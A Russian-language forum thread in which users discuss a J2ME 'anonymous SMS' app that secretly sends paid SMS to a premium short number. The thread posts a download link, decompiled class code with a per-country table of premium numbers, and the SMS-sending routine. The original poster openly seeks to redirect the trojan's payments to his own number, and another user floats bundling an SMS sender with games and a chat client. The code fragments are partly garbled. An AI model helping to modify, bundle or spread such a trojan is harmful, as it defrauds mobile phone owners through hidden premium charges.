подмена номера в java приложении

Discussion in 'PHP' started by ufalog, 9 Jan 2010.

  1. ufalog

    ufalog Elder - Старейшина

    Joined:
    28 Jul 2007
    Messages:
    174
    Likes Received:
    6
    Reputations:
    -5
    есть приложение isms

    (1252263934_sms_anonim.rar)

    скачать можно по ссылке :

    http://www.sendspace.com/file/tu5b3c


    оно якобы предлагает отослать анонимную смс другу,или подруге от любого номера.

    на самом же деле шлет платную смс 9016

    на номер 8355


    PHP:
    Message From sms://8355 9016 

    декодировав классы видим что с.class содержит следующее значение

    PHP:


     c
    (Main main)

        {

            
    super(p);

            
    "8355";

            
    "isms";

            
    "iSMS";

            
    aa "";

            
    ab "";

            
    ac "";

            
    am null;

            
    an null;

            
    ao null;

            
    ap null;

            
    main;

            
    main.a("/ops");

            
    = new String[7];

            
    R[0] = a(0x12e598f1);

            
    R[1] = a(0x12e76ca1);

            
    R[2] = a(0x12e62cd1);

            
    R[3] = a(0x12e684c1);

            
    R[4] = a(0x12e7d9a1);

            
    R[5] = a(0x12e7e0c1);

            
    R[6] = a(0x12e7f741);

            
    R[0];




    PHP:

           T 
    String.valueOf(l2) + "6";

            
    ap "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449,2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";

            
    = new Hashtable();

            
    = new Hashtable();


      
    сменив эти значение на свои прогой JavaByte мы получаем что приложение будет слать смс на ваш номер и ваш текст .... но не тут то было...


    приложение до сих пор шлет смс с текстом 9016 на номер 8355


    декодирова все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355


    так вот что за чудеса? может кто разбираться в JAVA и подскажет откуда приложение генерирует эту пару номер текст (9016/8355)
     
  2. ufalog

    ufalog Elder - Старейшина

    Joined:
    28 Jul 2007
    Messages:
    174
    Likes Received:
    6
    Reputations:
    -5
    процесс генерации смс параметров

    PHP:


       
    {

                
    "sms://" am;

                
    System.out.println(" " Q);

                
    MessageConnection messageconnection;

                
    TextMessage textmessage;

                (
    textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(P)).newMessage("text")).setPayloadText(Q);

                
    messageconnection.send(textmessage);

                
    messageconnection.close();

            }













     
  3. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    посмотри, может эти значения зашифрованы!
     
  4. suser

    suser Member

    Joined:
    30 Dec 2009
    Messages:
    35
    Likes Received:
    5
    Reputations:
    0
    чё за JavaByte?
    у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
    может можно её с играми и джимом склеить но я хз :D
     
    #4 suser, 9 Jan 2010
    Last edited: 9 Jan 2010
  5. ufalog

    ufalog Elder - Старейшина

    Joined:
    28 Jul 2007
    Messages:
    174
    Likes Received:
    6
    Reputations:
    -5
    JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.
     
  6. suser

    suser Member

    Joined:
    30 Dec 2009
    Messages:
    35
    Likes Received:
    5
    Reputations:
    0
    Дай прожку пожалуйста :)